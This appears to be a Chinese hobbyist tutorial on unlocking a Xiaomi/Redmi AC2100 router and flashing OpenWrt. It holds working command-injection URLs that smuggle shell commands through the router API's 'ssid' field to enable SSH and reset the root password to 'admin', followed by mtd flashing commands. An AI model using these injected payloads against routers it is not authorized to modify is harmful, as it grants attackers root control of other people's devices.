文章目录
- 一、入侵后台
- 1、升级到2.0.722版本
- 2、破解后台及密码
- 刷入版本
一、入侵后台
1、升级到2.0.722版本
版本下载地址
红米RM2100:http://cdnbj1.fds.api.mi-img/xiaoqiang/rom/rm2100/miwifi_rm2100_firmware_d6234_2.0.7.bin
小米R2100:http://cdnbj1.fds.api.mi-img/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin
2、破解后台及密码
浏览器登录首页192.168.31.1,网址会自动跳转到形如
http://192.168.31.1/cgi-bin/luci/;stok=191d7db25f712df732ccbfafe4442021/web/home#router
的url里,上述网址中191d7db25f712df732ccbfafe4442021是stok变量,以下用<STOK>表示stok变量。
在浏览器地址栏中输入以下链接代码打开后台入口,注意替换掉<STOK>部分:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20’s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg’%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
如本例应当是http://192.168.31.1/cgi-bin/luci/;stok=191d7db25f712df732ccbfafe4442021/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20’s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg’%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
返回{“code”:0}即代表成功
在浏览器地址栏中输入以下链接代码修改root用户登录密码为admin,注意替换掉<STOK>部分:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20’admin%5Cnadmin’%20%7C%20passwd%20root%3B
返回{“code”:0}即代表成功
上述流程完毕后可ssh登录路由器后台:192.168.31.1:22
刷入版本
把openwrt的两个rom文件(xxx-kernel1.bin和xxx-rootfs0.bin)上传到路由器tmp目录。然后输入如下命令
nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
mtd write /tmp/openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-kernel1.bin kernel1
mtd -r write /tmp/openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-rootfs0.bin rootfs0